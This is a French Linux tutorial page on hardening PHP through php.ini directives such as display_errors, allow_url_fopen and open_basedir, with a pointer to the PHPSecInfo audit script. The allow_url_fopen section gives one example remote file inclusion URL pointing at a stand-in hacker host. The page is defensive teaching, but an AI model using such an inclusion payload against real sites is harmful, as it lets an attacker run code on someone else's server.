Chrooter apache
Matériel
Ajout disque dur
Ajout carte
Audit des disques durs
Gestion des peripheriques
Disquette d'installation
Ajout d'un scanner
Ajout d'une imprimante
Astuces
Astuces sous Linux
Réseau
Configuration reseau
Dns
Serveur cvs
Proxy squid 
Installation serveur ftp
Installation qmail 
Installation serveur courrier sous debian
Outil TCP/IP 
Le serveur samba
Connexion a distance securisee
Client/serveur vnc
Configurer apache
Dyndns
Installer un LAMP sous mandriva
Sécurité
Chiffrer un fichier/dossier
Securiser son poste
Mur pare feu pas a pas
Authentification ht-access
Surveillance de serveur CACTI
Snort
Snort-inline
Securiser Apache avec mod_security
Filtrage squid/squidguard/dansguardian
Auditer son site web
Sécuriser son linux
Installer un Lamp avec ssl
Contrer les scans de ports
Traitement anti-spam
Installer/Utiliser tripwire
Faire des sauvegardes incrémentales
Rsync
Nessus
Divers
Elisa, le multimédia facile
Utilisation de lilo
Les commandes Linux
Le multi-tache
Le crontab
Exploration de la configuration
Quotas
Messagerie
Installer une application
Debugger ses applications
Le format RPM
Mise a jour du noyau
Qemu
Tour d'horizon des principaux p2p
Récupération du système
Bips d'un pc
Astuces windows
Table Ascii
Lamerland
Conversion de fichiers musicaux
Compiler ses rpms
Graver en ligne de commande
Graver un fichier avi pour un dvd de salon
Récupérer des fichiers effacés
Gardez le contact avec Emesene
Liens
Notes php
hakin9
Secureroot.com
Hackerthreads.org
Defcon
Hackerlounge
Les derniers exploits
Tous les codes sources
Securite sous Linux
Les logiciels libres quotidiens
Ezine divers
Madchat
Textes divers
Archives
Tchat gratuit
 
Traductions LG
Toutes les traductions
Traductions Phrack
Toutes les traductions

Il y a actuellement 8 visiteurs connectés sur le site !

Google

Le fichier php.ini
Le fichier php.ini

 

Introduction
Configuration
PHPSecInfo

 

Introduction

Le fichier php.ini est le fichier qui permet de configurer PHP. Il se trouve généralement dans le répertoire /etc. Il est divisé en plusieurs sections. Chacune des sections est identifiée par un nom et contient des variables relatives à ladite section. Chaque section possède la structure suivante :

[NomDeSection]
variable  = "valeur"
...
variable_n = "valeur_n"


Le nom de la section est indiqué entre crochets, suivi d’un certain nombre de déclarations de variables – encore appelées directives – sous forme de paires constituées du nom de la variable (sensible à la casse) et de la valeur qui lui est associée (numérique, booléenne ou chaîne de caractères). Notez que chaque déclaration de variable se fait sur une nouvelle ligne.
Enfin, le caractère " ; " signale un commentaire. Ainsi, il est facile de désactiver une fonctionnalité PHP en mettant en commentaire la ligne qui lui est associée (et réciproquement de la réactiver en la dé-commentant).
Voyons maintenant quelles sont les fonctionnalités que l’on va pouvoir modifier.

Criteres

expose_php :
Cette directive indique à PHP d’ajouter son numéro de version à l’en-tête standard du serveur web. Il est recommandé de désactiver cette directive en production (valeur Off) : les informations données peuvent servir à d’éventuels pirates si vous ne mettez pas régulièrement à jour votre serveur.

display_errors :
Cette directive autorise l’affichage des erreurs PHP : en production, elle doit être positionnée sur Off (sous peine de fournir de précieuses informations à un éventuel pirate comme le nom de vos tables, etc.) et, bien sûr, en développement, il faudra lui associer la valeur On.

error_reporting :
Indique les types des erreurs que PHP devra reporter. Lorsque l’on choisit de les afficher, il est recommandé d’afficher un maximum de messages d’erreurs. Les valeurs recommandées pour PHP5 sont E_ALL | E_STRICT et E_ALL pour PHP4.

log_errors :
Indique à PHP de conserver une liste des erreurs rencontrées dans un fichier de log. Il est utile d’activer cette directive même en production pour un suivi des erreurs sans affichage direct.

error_log :
Si la directive log_errors a été positionnée à On, la directive error_log permet de spécifier le nom et le chemin du fichier de log que vous désirez utiliser. Sinon le fichier par défaut sera le fichier error.log de votre Apache (/var/log/apache2/error.inc sur les distributions basées sur Debian).

html_errors :
Active ou désactive les balises HTML dans les messages d’erreurs : si vous avez choisi de ne pas afficher les erreurs (display_errors à Off), cette directive est inutile. Par contre, en développement, en renseignant les directives docref_root et docref_ext, vous pourrez avoir directement des liens vers la documentation de la fonction ayant provoqué l’erreur.

docref_root :
Cette directive définit le chemin vers le manuel PHP. En général, il s’agira de : docref_root = http://fr.php.net/manual/fr/.

allow_url_fopen :
Cette directive autorise l’exécution de fichiers distants passés en paramètre d’une URL. Il est recommandé de la désactiver (valeur Off) : un pirate pourrait faire exécuter un code externe. Si vous disposez d’une page index.php qui attend un paramètre load, un pirate pourrait exécuter :

index.php?load=http://www.the-hacker.com/script_pirate.txt

open_basedir :
Cette directive limite les fichiers accessibles par PHP dans l’arborescence. Le paramètre passé à open_basedir est considéré comme un préfixe : si vous spécifiez open_basedir = /include/mon_rep, vous donnerez accès à /include/mon_rep, /include/mon_repertoire,... Pour déterminer un répertoire spécifique, il faudra terminer le nom du chemin par un " / ".

disable_functions et disable_classes :
Ces directives permettent d’interdire respectivement une liste de fonctions et une liste de classes " dangereuses ". Pour interdire par exemple l’utilisation des fonctions phpinfo() et system(), il faudra spécifier : disable_functions = phpinfo, system.

memory_limit :
Cette directive détermine la mémoire limite, en octets, qu’un script est autorisé à allouer. Depuis PHP 5.2.0, la valeur par défaut est fixée à 16M. Il s’agit d’une valeur raisonnable (on préconisait auparavant une valeur de 8M).

post_max_size :
Définit la taille maximale des données (en octets) reçues par la méthode POST (la directive memory_limit doit avoir une valeur supérieure à celle-ci, sinon post_max_size sera limité à la valeur de memory_limit). La valeur par défaut est de 8M. Il est peu probable que vous ayez besoin de plus de mémoire (vous pouvez même éventuellement descendre un peu cette valeur). Toutefois, lors de l’upload de fichiers, les données transitent via une méthode POST : assurez-vous alors que cette valeur est supérieure à celle de la directive upload_max_filesize.

max_execution_time :
Temps maximal d’exécution des scripts en secondes. Par défaut, la valeur est de 30s, mais n’oubliez pas qu’il est rare qu’un utilisateur patiente autant de temps... Cette directive permet surtout de sortir de boucles infinies en phase de développement. Un bon compromis semble être 15s.

PHPSecInfo

PHPSecInfo permet d'auditer votre serveur en examinant les valeurs que vous avez mis dans php.ini. Le script se trouve ici script, il suffit de le desarchiver à la racine de votre serveur web, et delancer votre navigateur sur le fichier index.php. Les résultats sont exprimés en fonction d’un code couleur :

* vert : tout va bien ;
* jaune : mauvaise valeur de configuration possible ;
* rouge : mauvaise valeur de configuration (changement de valeur recommandé).

Sources de l'article


 

Le Blog
Le blog
Le Forum
Le Forum
Php/Mysql
Formulaire en php
Administrer un serveur Mysql
Session en php
Gerer ses bases mysql
Les bases php
Securiser ses scripts PHP
Controler ses programmes avec RATS
Convertir une base sql en utf8
Astuces php
Le fichier php.ini
Programmation
Python rapide
Tutorial Python
Tutorial Perl
Tutorial Perl complet
Tutoriel ruby
Tutoriel C
Introduction à gawk
Filtres et utilitaires
Find
Programmation Shell
Ecriture de scripts bash
Expressions regulieres
Vi
Introduction a Javascript
Compiler avec gcc
Astuces en Bash
Cracking
Tutoriel Assembleur
Guide du cracking pour débutant
Assembleur
Manual Unpacking
Techniques de Protection
Différentes failles Web
Arp spoofing dans un réseau switché
Les intrusions
Les attaques externes
Defacage
Defacage complet
Buffer overflow
Netcat
Injection sql
Injection sql(suite)
John the Ripper
Spoofer un email
Utiliser google
La faille system
Usurper une identité
Le rooting
Shellcode sous Unix
La faille race condition
La faille xss
La faille xss (2)
Attaques sur un routeur
P2P
Azureus pas-a-pas
News
Lire les news de Linux-pour-lesnuls.com au format RSS
Distros
Gestion des paquets debian
101 commandes debian
Jeu
Webtarot
Graphisme
Effet neon dans GIMP
Effet vapeur dans GIMP
Cours fonctionnalités de GIMP
Redimentionner une image avec GIMP
Redimentionner une photo pour en faire un cadre avec gimp
Morphing avec gimp
Détourer avec gimp
Réduire le poids d'une image avec gimp
Caricature avec gimp
Eclairage avec gimp
Mettre en évidence avec gimp
Pluie sur le château
Créer une onde de surface avec Gimp
Un aspect satiné avec Gimp
Impacts de balle avec Gimp
Humour
Ensemble
Divers